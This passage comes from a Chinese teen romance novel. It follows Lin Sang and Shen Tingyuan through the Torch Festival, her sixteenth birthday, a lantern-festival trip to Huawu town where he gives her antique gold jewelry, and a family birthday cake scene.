——“有喜欢的人,很喜欢很喜欢,这辈子非她不可的那种喜欢,烦请各位手下留情。” 林桑咬着指尖,忍不住轻笑,继而点开空间。 界面卡顿了一会儿,一刷新,空间里的留言从53560条一跳变成了830条。 以为系统出问题,林桑又刷新了一遍,确实是830条没错。 很早以前,怕她误会他是个很随便的人,沈听原就特意解释过,他的Q/Q是为了登录游戏才申请的,经常会有配合得不错的游戏好友想要加他好友,一个个同意他嫌麻烦,就设置了无验证。 平时登录了也就只是和朋友聊聊天,懒得去管其他的,没想到后来好友越来越多,全是些他不认识的,留言也又杂又多,他没耐心,删不过来,索性懒得用,让朋友有事就上微信找他。 林桑本来也没多想,听他说完后,呐呐地问他:“你真不用吗?那为什么我给你发新年祝福的时候,你回复很快。” “而且,你还发过动态。” 沈听原当时气得在她头上使劲揉了几下:“你说我为了谁用的?” 然后,让她打开手机加微信才放过她。 回忆终止,林桑算了算,52730条留言,他以前不是都没耐心的吗。 是怎么删完的。 有些好奇他留下的留言都是哪些,林桑点开,往下滑看了几条,都是他的朋友和杨思怡的留言。 她翻看了一会儿,开始思考给他的第一条留言,要留什么。 …… 暑假正式开始,沈听原在放假第二天就去了榆城看望爷爷奶奶,林桑则每天得了空就待在副食店里。 柳靳于偶尔会过来,问完题就走,不会久待。 十多天后,云亭到处热闹起来,一年一度的火把节如期而至。 火把节的重要程度,对于他们来说,和过年差不多。 林桑早早起床,帮着外公和何爷爷一起收拾菜。 何爷爷的儿子在市里工作,每年都会赶回来过节,刘乔千经常到处出差,很少会回。 傍晚何爷爷儿子一家到后,两家人凑在一块吃了顿饭。 饭后,何爷爷拿出早早做好的火把,林桑带着何爷爷的两个孙女到外面道路上,教她们怎么玩。 前几年她们太小,只能看大人玩,今年何爷爷特意给她们弄了小一点的火把,虽然这会儿天还没完全黑,火把燃出的火焰看上没那么旺,两个小孩还是高兴得手舞足蹈。 林桑站在一旁,录了个视频发给沈听原。 【Bob:今天火把节,你要是在的话,我就能教你玩火把了。】 那头一直没回复,可能是有什么事,林桑没在意,收起手机又陪两个小孩玩了会儿游戏。 最后一点夕阳缓缓沉了下去,天际线颜色由橙向黑过渡,暮色渐浓。 何爷爷儿子和儿媳隔天还要上班,没再多待。 看着汽车驶离后,何爷爷转头对林桑说:“快来。” 何爷爷家就在隔壁,林桑跟着他进门,何爷爷从烧火房里抱出两个大火把说:“你玩小的哪过瘾,拿这个大的去玩。” 他朝烧火房努努嘴说:“里面还有,小景一会儿过来接你的时候让他跟你一起拿。” “松香就在旁边,一大袋,够你们几个折腾了。” 他说完,一脸神秘地冲林桑挤眼道:“今年多做了一份。” 林桑当然知道他口中多做的那一份是给谁的,想到什么,她开口道:“爷爷,你是不是一早就知道,不然怎么会随意把那些纸卖出去。” 何爷爷闻言抬眼看了看天,“哎呦,这天色,到点了,我下棋去了。” 他说着,把手里的两个火把塞给林桑,火把太大,林桑堪堪扶稳,何爷爷已经背着手往门外走。 “乖孙女,搬完火把记得把大门带上。” 林桑:“……” 每年火把节林桑在家吃过晚饭后,林景都会过来接她去鸣桐巷。 按照过往的时间,他这会儿早该到了,但门口一直没什么动静。 林桑拿起手机,正准备发个消息问问,大门“吱呀”一声被人打开。 柳靳于插着兜,懒洋洋地往她的方向走:“你哥有事,让我过来接你。” 他走到堂前,伸长脖子往隔壁看:“何老头今年没做火把?怎么都没通知我过来拿。” “当然做了。”林桑说,“他在巷口下棋,你没碰上?” 柳靳于收回眼,随口道:“没注意。” 怕被人抢先,一路跑着来的,哪还有精力去观察周围的人。 …… 广场上有巨型火把和演出,林桑陪奶奶聊了会儿天后就跟着林景和柳靳于去了广场。 此时的幸福广场上人头攒动,演出已经结束了,接下来是万众瞩目的点燃巨型火把。 倒计时结束后,巨型火把“嘭”地一声被点燃,火光铺天盖地散满了整个广场。 围观的人都举着手机边录视频边叫好,还有人围着火把跳起了舞。 欢乐的歌声和有节奏的舞步交织,一时间热闹非凡。 过了一会儿,看够了的人都拿出事先准备好的火把耍了起来,有些没准备的,也跑到旁边摊位上买。 林桑拍了几个视频后,从人群里退出来。 林景和柳靳于对巨型火把没什么兴趣,已经找了个空旷的位置开始点燃火把。 她走过去,手里的手机振了振,打开一看,是沈听原的消息,问她在哪。 林桑转身,对着“幸福广场”的牌子随手拍了一张发过去。 这时,林景注意到她,朝她招了招手。 林桑不敢像他们那样抬着火把到处耍,都是林景帮她找个地方固定好,她往上面撒一把松香,看着火把越燃越旺,直至烧尽。 她帮忙扶着,林景已经有了经验,很快就帮她固定好点燃。 火光带着噼里啪啦的声音熊熊燃起,林桑往后退了一点,守着属于她的火把。 过了一会儿,火光逐渐弱了下去,林桑从袋子里抓出一把松香,刚要撒上去,手腕被人握住。 天很热,那人的手掌却冰凉,身上也带着凉气,不知道吹了多久风。 林桑扭头向上看去,沈听原一双黑眸藏在鸭舌帽下,带着浅浅的笑意:“不是要教我玩火把?” 两人挨得很近,林桑耳根微微发烫:“就把这个撒上面就行,小孩都会,不用教的。” 沈听原握在她手腕上的手动了动,换成附在她手背上,牵动着她抬起手,往前一抛,林桑下意识张开手心。 微弱的火光重新燃了起来,沈听原偏头看她:“是这样吗?” 林桑正欲开口,一旁有人闹得过头了,手里的火把不小心甩了出来,沈听原反应很快,一把拦起林桑避开了散发着灼热温度的火把。 几个男孩跑过来,连连低头道歉。 林桑被吓得够呛,但没出什么事,几个男孩看上去年纪又小,她也不想让人为难,摇了摇头:“没事,你们去玩吧,小心点。” 那几个男孩闻言也没动,眼神里带有惧怕,看着她身后。 林桑不明所以,顺着他们的视线看过去。 沈听原轻抬着下巴,眼神阴鸷,一脸不爽。 林桑从未见过他这幅样子,小声吞了吞口水,抬手扯了下他的衣袖。 沈听原觉到动静,低头看了一眼,无奈地叹了一声,语气生硬地说:“玩去吧,小心点。” 看似是叮嘱,语气里则是警告。 几个男孩捡起地上已经熄灭的火把,道着歉跑远了。 沈听原面色不虞,林桑从他怀里退出来,指着放在一旁的火把说:“那里有个火把。” 他视线一直落在她身上,没往旁边移半分:“什么时候买的?” “不是买的。”林桑说,“是何爷爷自己做的。” “他每年都会给我和我哥弄,后来多了柳靳于的一份,今年……” 她顿了顿:“又多了一份。” 沈听原看上去丝毫不在意,轻描淡写地“哦”了一声说:“给谁的。” 林桑小声道:“你知道还问。” 他又问:“给谁的啊?” 林桑:“……” 看来气还没消,她妥协:“给你的。” 沈听原面色缓和几分,清亮的眸子中藏着不明的情绪:“金金,你在哄我吗?” 林桑别开眼,矢口否认:“没有。” 肩被人碰了一下,沈听原靠着她站过来说:“我刚才真有点生气,但一想吧,我也不能揍人小孩。” “这么一想,就更气。” 林桑没说话,他喊了一声:“金金。” “嗯?” “有没有人说过,你哄人的手段真的很烂。” 林桑:“……” 她使劲扔了一把松香出去,火光映在脸上,闷声道:“烂就烂,谁哄人好你找谁去。” 沈听原憋着笑:“可我是个很俗的人,我就喜欢这种很烂的哄人方式。” 知道他又是故意逗她,林桑没忍住抬肘拐了他一下,“沈听原你烦死了。” 沈听原捂着肋骨靠在她肩上,笑着耍无赖:“啊,骨折了,赔钱。” 林桑:“不赔!” 沈听原语气委屈:“那我只能一直这么靠着了。” 他说完后,彻底没了骨头,心安理得地靠在她身上,林桑由着他靠了一会儿才轻轻拍了拍他的手臂说:“快把你的火把点了吧。” “我们一起祈福。” 沈听原闻言没动,低声道:“我还没过过火把节呢,小林老师先给科普一下呗。” 他以前一放假不是去榆城就是北城的,还真没过过。 林桑认真地给他科普了一番后,沈听原才在她的催促下不情不愿地起身,但还是十分黏人地贴着她。 周边狂欢不断,一束束火把在人们手中肆意绽放着火光,像是令人无限向往的漫天星河。 他们并肩看着眼前竖起的两道火把,弯着笑眼异口同声道:“好运常在,除病除灾!” “……” 他们身后,玩累了的林景嘴里衔着一根烟蹲在花坛边,一直观察着这边的动静。 他全程面无表情地看着那两道身影越靠越近,直到那两颗脑袋笑着笑着时不时贴在一块,他才终于忍不住,眉心动了动。 他拍了一旁低头玩游戏的柳靳于一下,下巴往那个方向一点:“什么情况?” 柳靳于:“……” 柳靳于:“?” 这人就不能有点眼力见吗,他已经烦到只能玩游戏来分散注意力,非得让他往那个方向看就算了,还要杀人诛心地问他什么情况。 他轻嗤一声:“你他妈追过人的,这还用我分析?” 林景缓缓吐了口烟道:“哥们,纠正一下,我是被追的。” 柳靳于:“……” 他关了手机放进兜里,掐了烟起身:“行,你牛逼。” “慢慢分析,我先走了。” “……” 林桑他们一直到接近尾声才离开幸福广场。 三人一起回鸣桐巷,路上林景一直盯着沈听原看,被沈听原一句是不是太久没见想我了给恶心到翻了个白眼,自己往前走了。 回到家后,林景还是没忍住,作为哥哥,他拿出长辈的姿态询问林桑:“你和他,什么时候的事?” 林桑有些心虚,没敢说。 林景:“怎么,怕我棒打鸳鸯?” 林桑噘了下嘴,声如蚊呐:“又没在一起……” 林景在她头上揉了一把:“他人不错,我没什么意见。” “还是那句话,要是被欺负了,别憋着,记得说。” 他手下力道重了几分:“哥帮你教训他。” 林桑咧嘴一笑:“知道了,谢谢哥。” 林景哼了一声:“出息。去休息吧。” 林桑点头:“好,晚安!” 林景低声应:“嗯,晚安。” * 不知不觉间,整个七月就过去了。 林桑在八月的第八天,迎来了十六岁生日。 她不太喜欢出去过,大多时候都是早上起床了外公给她煮碗面,何爷爷往里给她加两个蛋,然后晚上又去奶奶那吃蛋糕。 今年因为沈听原,多了几分不一样。 他一早就在门外晃悠,毫无疑问,又被外公叫进屋。 他进门时,林桑端着碗从厨房出来,往嘴里塞了一大嘴面,动作顿住,被狠狠呛了一下。 沈听原反应很快,一个箭步走过来接过她手里的碗筷放到一旁石桌上,抬手帮她顺气。 “人小原又不跟你抢,吃那么着急。”外公在一旁打趣。 沈听原发笑:“真怕我抢啊。” 林桑拍了拍胸口:“怕,怕死了。” 外公大笑:“嘿,这孩子,从小到大就一个缺点,护食。” 林桑:“……” 沈听原没说话,轻轻拍着她的背,等她缓过来了,两人在石桌前坐下。 也是这时,林桑才注意到他背了一个猫包。 沈听原察觉到她的视线,抬手卸下肩上的猫包放在石桌上打开,一只橘猫从里面钻了出来。 橘猫在沈听原手边蹭着转圈,瞥到林桑,“喵”了一声走过来。 林桑抬手摸了摸,总觉得好像在哪见过。 想到沈听原家在鸣桐巷10号,她笑道:“又见面了。” “好像瘦了不少。” 沈听原:“早想带它来见你了,结果生病了,挺严重的,云亭也没个正规的宠物医院,只能送到外面让人帮我带去治,前几天才送回来。” 林桑抬手把橘猫抱在怀里,轻轻抚摸着问:“它叫什么名字啊?” “香蕉。” 香蕉…… 林桑手顿了顿,还挺巧。 “蛮适合它的。” “它自己选的名字。”沈听原说,“养了几个月才想起没名字,我也懒得想,就带着它去超市逛了一圈,想着它在什么东西面前叫出声就叫什么名字,哪怕是马桶刷我也认了。” “还好,它挺会选,不然你现在问起,我还得给它现编一个帮它挽回颜面。” 林桑忍不住低头轻笑,“香蕉,你好呀!” 香蕉在她怀里动了动,慵懒地“喵”了一声。 “……” 外公在厨房里折腾了一会儿,端了一碗面出来摆在沈听原面前说:“我煮的面好吃得很,保证你吃过就难忘,试试。” 沈听原抬眼,笑得很乖:“谢谢外公。” 外公出门后,沈听原看着眼前的一大碗面,往前推了推逗林桑:“要护食吗?” 林桑埋头吃着面,腮帮鼓鼓,像只小松鼠,闻言抬眼,手挡在嘴边说:“沈听原,我是肥猪吗?” 沈听原起了捉弄她的心思:“肥猪猪,吃完能跟我去个地方吗?” 林桑:“你换个称呼我就考虑考虑。” 沈听原作势想了想:“美丽的肥猪猪殿下,吃完能跟我去个地方吗?” 林桑:“……” “还是不满意吗,那我再换一个?” 又想逗她,林桑抬手制止:“去去去,你赶紧吃吧,一会儿面坨了。” …… 吃完面后,沈听原抢了洗碗的活,林桑站在一旁监工。 收拾完一切,沈听原也没说要带她去哪,林桑只能跟在他身后。 考虑到香蕉身体才恢复没多久,经不起折腾,两人先送香蕉回了家才又上了公交,几分钟后,在云亭汽车客运站下车,沈听原拿着两人的身份证去买票。 林桑看他在排队,还要等不少时间,拐进了旁边的小卖部。 她从小卖部出来一会儿后,沈听原才买完票过来。 林桑想去看票上的目的地,被沈听原藏到身后,“先保密。” 林桑背了包,沈听原把两张身份证一起递给她。 两张身份证叠在一起,沈听原的身份证在她的身份证下方,林桑偷偷错开看了一眼他身份证上面的照片。 一双眼睛没什么情绪地盯着前方,比起现在,脸上多了几分稚气。 是她最初认识的青涩少年模样。 过了须臾,沈听原见状,抬手盖在图片上:“别看了,丑。” 林桑笑:“不丑啊,而且……” 熟悉的照片让她想起了往事,她顿了顿道:“你这照片我初中毕业的时候就见过了。” 沈听原神色稍顿:“初中毕业的时候?” 林桑还记得,那天是回学校填报志愿的日子,报完志愿后,领了毕业证就能回家。 林桑填志愿表的时候被人不小心碰了一下,留了一条很长的黑色划痕,志愿表上不能有瑕疵和修改,她只能找班主任重新领了一张表。 她在教室重新填表的时候,沈听原和一个女生一起出现在门口,女生喊了汪亿涵一声,示意她要是完事了就一起回家。 他们因为父母都是朋友,住的又近,经常一起回家。 林桑放慢了写字的速度,心想如果她没搬出鸣桐巷,这会儿应该也能和他们一起回家了吧。 汪亿涵朝门外应了一声后,跑到她身边说自己先走,还暗暗示意她沈听原就在门外。 林桑没往门外看,和她道完别后又继续填志愿表。 教室后门就在楼梯口旁,林桑用余光瞥到他们都消失在楼梯口后才起身往外走。 她本想在走廊看着他们离开,一出门发现他们竟还停留在楼梯中间的平台上。 汪亿涵说想看看沈听原的毕业证,沈听原也没犹豫,直接递给了她,汪亿涵接过看了两秒后,说自己忘了东西在教室,三两下就上了台阶跑进教室。 林桑正好站在后门边,汪亿涵在里面晃了晃手里的毕业证,低声道:“快进来。” 林桑下意识往沈听原在的方向看了一眼,他低头看着手机,没察觉。 她快速收回视线进教室,汪亿涵打开沈听原的毕业证道:“快看,不然时间长了我怕他怀疑。” 毕业证上的图片用的是他们身份证上的图片,打印的不太好,像是保存了几年的旧照片一般,但还是能清晰地看清他面上带了几分不耐,额前和两鬓的碎发也比往常短了一大截。 听到这,沈听原无奈地笑了一声道:“拍身份证那天是我哥带我去的,去之前我爸说头发太长得剪剪,我当时吧,就特别不乐意,我爸又惯着我,让我不剪也行,拍的时候往两边扒一扒。” “我平时抽烟泡网吧打架什么的我哥都惯着我,但这种事上,他就特别有原则,当时什么都没说,结果一出门,你猜怎么着?” 林桑:“怎么?” 沈听原:“他二话不说把我揪到理发店,让人给我剪了个拍身份证标准发型。” “我拍的时候一想到这么丑的照片要跟我好几年,气得想跟他决一死战。” 没想到一张简简单单的身份证背后还有这样一段故事,林桑轻笑:“我不看行了吧,你松手,我收包里。” 沈听原松了手,语调懒散:“随便看,以后都光明正大地看。” “不过,我还是希望你多看点其他的,比如——” 林桑茫然:“什么?” 沈听原俯下身,一双黑眸盯着她,距离一下子拉近,林桑视野都被他的脸占据。 他意有所指道:“懂了吗?” 林桑呼吸停了一瞬,愣愣地看着他,过了许久才回过神来。 她移开眼,小声吞了吞口水,面红耳赤地应道:“知道了。” “……” 他们来的时间正好,离发车还有十分钟,两人进了站,找到车后,挑了个位置坐下。 林桑抬头,一眼瞧见司机放在车前窗上的地点牌子。 她指着牌子笑:“沈听原,上面有地址。” 大巴车异味重,汽油味也很重,沈听原开了车窗,捂着鼻靠在椅背上,闻言眼皮轻撩,扫了一眼,“当我傻呢,去的不是那。” 林桑疑惑:”你不会买错票了吧?” 沈听原抬手在她头顶揉了揉:“这些巴车半路会停靠好几个站,平时挺聪明的,这个时候怎么傻了?” 林桑恍然:“哦,没反应过来。” 司机开始上车检票,几分钟后,大巴车剧烈抖动,缓缓驶出车站。 沈听原脸色越来越差,林桑拆开洱宝话梅,捻起一颗喂到他嘴边,他低头咬住,连带着她的指尖一起。 林桑浑身的肌肉都颤了颤。 他倒好,像个没事人一样,闭眼靠在椅背上,唇角上扬。 林桑盯着指尖看了两秒,上面有淡淡的湿意,她凑过去,面无表情地擦在他身上。 沈听原笑意更深,“车子晃得厉害,我真是不小心的。” “金金,你还真是有仇当面就报。” 林桑把剩下的话梅塞到他手里,不想理他,偏头看着两边的风景。 半个小时后,车子在一个小镇停稳,沈听原拍了拍林桑:“下车了。” 下车后,林桑四处看了看,道路两旁都挂了彩色的灯笼一样的东西,路上几个穿着传统民族服饰的小孩手里都提了花式小灯笼,互相追逐打闹。 这地方她以前没来过,她偏头问沈听原:“这是哪?” 到地了,沈听原也没再瞒着:“花乌镇。” 这个名字并不陌生,方倚霏就是这个镇上的。 林桑:“那我们现在去哪?” 沈听原抬手看了眼时间,“先带你到处逛逛。” 两人走了约莫十分钟,来到一条河道旁,周围不少商贩,摊位上是各式各样的花灯,还有孔明灯和漂亮的河灯。 街道上的人都穿着传统服饰,他们走在中间,显得格格不入。 “这是有什么节日吗?” “花灯节。”沈听原说,“傍晚更热闹。” “现在早是早了点,但一会儿有游街表演,挺精彩的。” “我都不知道这些,”林桑说,“你怎么知道的?” 沈听原眸子暗了暗,垂眼道:“我爸是本地人,虽然我没怎么在这生活过,但血缘在,怎么也算是半个花乌镇人。” “你带我过你的节日,我也礼尚往来一下,带你过我的节日。” 林桑点点头,这时前方传来敲锣打鼓的声音,人流往两边避开。 沈听原拉着她让到一旁说:“表演要开始了。” 游行的队伍很长,不同的队伍穿的服饰不同,表演也不尽相同。 林桑摸出手机拍了几个视频,给方倚霏发了个消息。 方倚霏也在附近,没一会儿就找到了她。 她看了眼站在林桑身旁的沈听原,笑而不语。 沈听原察觉到她的视线,瞥了眼林桑,又看向她。 读出他眼神里的意思,方倚霏轻微点了下头,拉起林桑的手说:“感觉怎么样?” “很有趣。”林桑说。 “带你去玩个更有趣的!” 方倚霏说着,拽起她往前跑,林桑下意识往后看,沈听原站在原地,笑着朝她挥了挥手。 方倚霏:“不用管他啦,玩完我会带你去找他的。” “……” 方倚霏带着她在一座很大的竹楼前停住。 “这是我家,家里人这会儿都去街上了,你不用拘束。” “当自己家就行。” 方倚霏说着推开门,林桑跟着她往里走。 庭院很宽,周围种了不少果树,方倚霏指着那些树说:“想吃什么随便摘啊,我去里面找个东西。” 林桑在一棵棵果树底下打转,惊叹于自然的神奇。 和云亭只隔了半个多小时的路程,这里的水果竟比云亭的长得要好,品种也多,连她种失败很多次的火龙果也能挂满枝条,用来支撑的架子都快要承受不住。 她看了一会儿,方倚霏抬着一个巨大的竹制圆形簸箕出来。 “林桑,快过来。” 林桑走过去,脱了鞋跟着她盘腿坐下。 圆形簸箕里放了很多东西,彩色的纸、剪刀、细线、用竹子削成的薄片和细丝等等。 林桑好奇地凑上前去看,方倚霏道:“教你做个自己的花灯。” 林桑:“难吗?我做手工是真不太行。” 方倚霏:“有难的也有简单的,教你个最简单的。” 她说着,拿起竹片递给林桑,“你跟我一起,很快就能学会。” 竹片放在方倚霏手里像是自动化了形,到了她手里就十分难缠,折腾了一个多小时,林桑的花灯总算完成。 林桑看了眼方倚霏做的,栩栩如生,再看看她做的,微微扭扭的,一股挫败感涌上心头。 方倚霏笑着安慰她道:“我从小就开始学,第一次做的时候连形状都弄不好,你这已经很不错了。” 林桑双手捧着脸:“这个花灯,有什么特别的寓意吗?” 方倚霏:“他没跟你说吗?” 林桑不解:“说什么?” 方倚霏笑:“他带你过来之前,就没说是来干嘛的?” “没有。”林桑说,“不过,你知道的,今天是我生日。” “可能正好撞上了,就带我过来过个生日。” 方倚霏摇了摇头说:“可不止哦。” “……” 从方倚霏口中得知花灯节在花乌镇人眼里等同于某个节日后,即使沈听原和她现在情意是想通的,林桑还是有些羞怯。 方倚霏看着她脸上逐渐燃起的红晕说:“他前几天就联系我了,让我帮忙把你支开,他自己要去弄些什么,我也不知道。” 她指尖摩挲着下巴,犹豫了一会儿道:“我得给他下记猛药。” 见方倚霏上下打量着自己,林桑下意识往后缩了缩:“你要干嘛?” 方倚霏一把拉起她往里屋走:“你生日我也没什么好送的,正好前两天新做了两套衣服还没穿过,送你一套。” 十分钟后,林桑穿着方倚霏挑的衣服坐在梳妆台前,方倚霏站在她身后,帮她挽头发。 她头发比之前长了一些,但还有不少碎发,想要都挽上去还是有几分困难。 方倚霏试了几次才总算挽出一个满意的发髻。 弄完后,她躬下身拉开梳妆台上的抽屉,里面是各式各样的头饰。 她示意林桑挑一个,林桑这会儿被双重束缚,一动不敢动。 身上的衣服是窄袖短衣和筒裙,弹性不高,几乎是紧紧地贴着她的身体,林桑一时之间不太 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“你不开我可不走了,我就守门口,一会儿别人看到了,该觉得你虐待亲孙子了。” 里面静默一瞬,木门重新被打开,老太太开完门也不看他,拄着拐杖往里走。 沈听原见门开了,喜笑颜开几步跳上台阶进门,关上门后,他上前搀扶起老太太。 老太太显然不吃他这套,在他手上重重拍了一下,沈听原不怕痛似的,愣是没躲。 “过来做什么?” 沈听原嬉皮笑脸地说:“陪您过节啊。” 老太太哧了一声:“油嘴滑舌,陪我一个老太太过年轻人过的节日,也就你说得出来。” 沈听原装傻,“谁说的只有年轻人能过了。” 老太太没再说话,两人走到里屋坐下,沈听原陪着她聊这聊那,提到那件事时,换老太太和他卖起了傻。 沈听原看时间差不多了,起身去给她做了顿饭。 吃完饭后,软磨硬泡半天,老太太才松了口,回屋拿了一个沉木盒子出来。 东西递到手边,沈听原伸手去接,指尖刚要碰到,又被收了回去。 “你今年才17岁,这就确定了,别又是想打什么鬼算盘。” 想起小时候口不择言说拿去卖个好价钱的经历,沈听原正色道:“确定了,真没骗您。” “等时机到了,我带人来见您,好吧?” 老太太闻言顿了顿:“那等你带她来见我再给。” 她作势要收回去,沈听原忙拦住她:“那万一我爸哪天想开了,你岂不是又给他去了。” “说好了是给我的,可不能反悔。” “您就放心吧,除了她,不会有别人了,早送晚送都是送。” “……” 沈听原如愿拿着沉木盒子出来时,已经临近六点。 打开手机一看,方倚霏说已经提前帮他把林桑带去了河道边,让他尽快过来。 沈听原赶到方倚霏说的地方时,站在树下的只有她,沈听原视线在周围梭巡一圈,没找到那个熟悉的身影。 方倚霏见状,偏头往后喊了一声:“林桑!” 沈听原追随着她的视线看过去,眼前一道方才他一扫而过的身影放完河灯后,缓缓站起,随后转过身来。 四目相接的那一瞬,沈听原脑子里像是有什么东西炸开,耳边嘈杂的声音被心跳消了音。 十六七岁的年纪,脸上不施任何粉黛,穿宽大的校服时都是美丽动人的,遑论现在这般,从头到尾精心装扮过。 林桑上半身的窄袖短衣是浅浅的粉色,衣襟和袖口绣有精美的花纹,下半身的筒裙上半截以白色为主,上面有一条条淡金色的纹理,中间一条花纹过渡,下半截则是金色,最后以同样的花纹收尾。 林桑不是让人一眼惊艳的浓颜,一张偏圆的鹅蛋脸上是小巧精致的五官,看起来温婉大气,而萦绕在她身上那股给人最直观的感觉,又宛若古井中晃动的芙蓉一般,淡然平静。 她笑起来时,两颗虎牙堪堪从红润的唇边冒出个头,深深的笑意直达眼底,能感染人,让人心情一秒舒朗。 天上孔明灯漫天飞舞,地下河灯如点点星火。 他们就这么安静的隔着人群,看着对方笑。 林桑手里提了一盏花灯,静静地立在那,却早已走进了少年那爱意乱撞的心底。 而他面上平静,却站在原地深深吸了几口气才平复下来,随即抬脚一步一步靠近她,走得很慢,走得很认真。 …… 林桑抬起手,五指在他眼前晃了晃,“沈听原,你怎么一直发呆?” 沈听原眸色幽深,真挚道:“因为我们金金漂亮。” 林桑被他这话弄得有些不好意思,指着一旁的摊位转移注意力:“那边有孔明灯,我们也放一个?” “不急。”沈听原说。 “你先闭下眼。” 林桑默了一瞬,轻笑着闭上眼。 耳边传来窸窸窣窣的声音,几秒后,像是有什么金属扣弹开。 “可以睁开了。” 林桑缓缓睁开眼,沈听原手里捧着一只沉木盒子,里面是红丝绒的底,安静地躺着一对金色带有红色宝石的耳环和一支做工精巧的簪子。 簪子也是金色的,末端镶了不少彩色宝石,汇聚出的图案林桑没看出来是什么。 耳环和簪子上面的光泽偏暗沉,看上去已经有些年头。 “好看吗?”沈听原问。 “好看。”林桑说。 沈听原目光宁静,看着她道:“给你的生日礼物。” 林桑不自觉瞪大眼睛,视线从盒子里面的东西移到他脸上:“沈听原,我奶奶有不少首饰,我大概能认出来,这两件东西是纯金的,上面的宝石也是真的。” “不仅如此,还有些年头了。” “你不会把家里传家宝偷出来了吧?” 她有理有据,说得认真,沈听原被她的脑回路逗得发笑:“没见过你戴耳钉,就想送你一对耳钉来着。” “镇上有家店做纯金首饰很出名,我去逛了一圈,听方倚霏说带你穿了这的传统服饰,就多挑了一支簪子。” 他表情认真,不像是骗她,林桑拍了拍胸口:“吓死我了。” “我给你戴上?” 林桑还是有些疑虑:“太贵重了。” “咱干爸不是说了,要像爱护金子一样护着。”沈听原拉起她的手,把盒子放到她手上,语气是不容置喙,“所以啊,这世上最好的最贵的东西才衬你。” “你值得,知道不?” 林桑耳根越来越热,低下头看着手上的盒子,思绪万千,不知道该说什么,轻轻“哦”了一声。 她愣神之际,沈听原已经有了动作,他把簪子插到发髻上后,又拿起耳环,轻轻捏起她的耳垂,小心翼翼地将耳针往耳洞里推。 他倾身靠在她耳侧,热气尽数喷洒在她耳上和颈侧。 林桑一动不敢动,大气都不敢喘。 戴完耳环后,两人都如释重负一般,暗暗吐气。 他们并排站着,看着周围的人祈福放灯。 许久后,沈听原说:“金金,生日快乐。” 林桑轻声应:“谢谢。” 沈听原:“我说过了,别跟我客气,感觉生疏,我听着怪难过的。” 林桑:“……好。” 看了一会儿,周围放灯的人越来越多,两人走到一个摊位前,买了几盏河灯和孔明灯。 河灯上不用写东西,祈完福就能放,而孔明灯就不一样了。 林桑拿着笔和孔明灯让到一旁,“各写个的,不准偷看。” 沈听原无奈:“一会儿放的时候我还不是能看到。” 林桑:“我只写一面,你看不了。” 沈听原一笑,语气里带了几分宠溺:“行。” 几分钟后,林桑仰头看着在空中摇摇晃晃的孔明灯,期盼它真能带着她的愿望到仙子面前。 而那个漂亮的仙子,能心软遂她的愿: “——和沈听原一起考北城外国语大学。” “——和沈听原过往后的每一个生日和花灯节。” “——和沈听原在平淡的日子里,岁岁年年,长久相伴。” * 两人回到云亭时,正好八点。 路上林景不知打电话催了多少次,还没到家,就见他已经在门口等着了。 沈听原把林桑送到门口,转身欲离开时,林景一脸疑惑:“你不陪她过个生日再走?” 沈听原脚步一顿,“陪啊,这不是怕不太方便。” 林景嘴角扯了扯:“装个屁!” 话落,他丢下一句“想陪就进来”,转身拉着林桑进了门。 一进客厅,奶奶抬眼见到林桑,“哎呦”一声迎了上来。 奶奶拉着林桑的手,笑得一脸祥和,“小乖今天真漂亮。” 林桑挽起奶奶的手:“平时不漂亮啊?” 奶奶:“漂亮漂亮。我们家小乖什么时候都漂亮。” 说着,沈听原进来了,他和奶奶打了个招呼,奶奶应完声,让他随便坐。 林桑下意识朝他看了一眼,收回眼时,发现奶奶笑眯眯地看着她。 奶奶低声问她:“去花乌镇过节了?” 林桑点头,低声道:“是。” 奶奶笑:“那个男孩子带你去的吧,他有没有告诉你,花灯节在他们那,是个什么节日?” 林桑默了一会儿:“说了。” 方倚霏告诉她,明天农历七月七,是众所周知的七夕,可对于花乌镇上的人来说,花灯节才是属于他们的“七夕节”。 花灯节这天,年轻的男女都会互赠亲手做的花灯,然后一起放河灯和孔明灯祈福,据说在这一天许愿,河灯和孔明灯会将他们的愿望带给仙子,仙子会替他们实现愿望。 在这一天许愿以后能一直在一起的情侣,今后能相伴一辈子。 过去不少人都在花灯节这天回到花乌镇还愿,信奉的人越来越多,渐渐地就成了花乌镇的一个重要节日。 花灯节在七夕前一天,也是按农历日子来定,这次好巧不巧和林桑生日撞上,方倚霏当时断言,沈听原带她过来,一半是为了生日,另一半则是为了和她一起过花灯节。 奶奶的声音在耳边响起,林桑思绪回笼。 奶奶说:“你们小年轻的事,我不多问,受欺负了要知道开口说。” “奶奶帮你教训他。” 林桑笑着应:“知道啦,奶奶。” …… 切完蛋糕后,奶奶和家里的阿姨都熬不住夜,早早睡下了。 林桑端着蛋糕,叉起一块水果刚要送进嘴里,林景起身往她鼻头上抹了一坨奶油。 林桑:“……” “哥你烦死了,我还没拍照呢。” 林景不以为意:“哪年不是这样,抹了才有过生日的感觉。” “坐好,照片我给你拍。” 林桑捞起手机对着屏幕看了一眼,鼻尖上一团粉色的奶油,怎么看都觉得别扭。 坐在她对面的柳靳于已经举起手机拍了两张,林桑忙挡住脸,“你俩别拍了。” 林景拍完点开看了一眼,举着照片嘿了一声说:“像只偷油吃的小老鼠。” 柳靳于凑上前去看了一眼,笑道:“还真像。” 两人当着她的面商量:“要不再抹点。” 林桑:“……” 然而,他们只不过是大声密谋,有人却已经开始了行动。 一直沉默不语坐在一旁的沈听原不知何时已经走到她身边,下巴被他抬起,林桑看着那张放大的脸,仿佛失去了思考的能力。 能感受到的,只有他指腹触摸到脸颊时带起的轻微痒意。 良久,下巴上的力道松了,那张脸也撤远了。 沈听原勾唇道:“现在好了,像小馋猫。” 然后,林桑被迫顶着一张花猫脸和他们一起拍了很多合照。 洗漱完躺在床上,林桑一张一张翻着照片,看着他们搞怪的姿势和自己脸上用奶油涂出的小猫胡子忍不住乐出声。 她把照片都上传到空间私密相册里存好,退出来准备关了手机睡觉,方倚霏那边给她传了一个视频。 林桑点进聊天框,视频有些长,加载了好一会儿她才点开。 视频是沈听原和她站在河道边时拍的,从沈听原走向她,一直拍到他帮她戴完发簪和耳环。 又一条消息进来,第二段视频跳了出来。 这段视频没有第一段长,林桑点开,是他们放完孔明灯后,沈听原和她并排站着仰头看孔明灯缓缓升起。 林桑见惯了外公和何爷爷将手往后背的动作,受了不小的影响,只要放松下来站着时,手就会像他们那样,下意识背在身后。 视频里,过了约莫十秒,她背过了手,五秒后,原本仰着头的沈听原有了动静。 他先是偏过头看她,随后又低下头,看她身后的手。 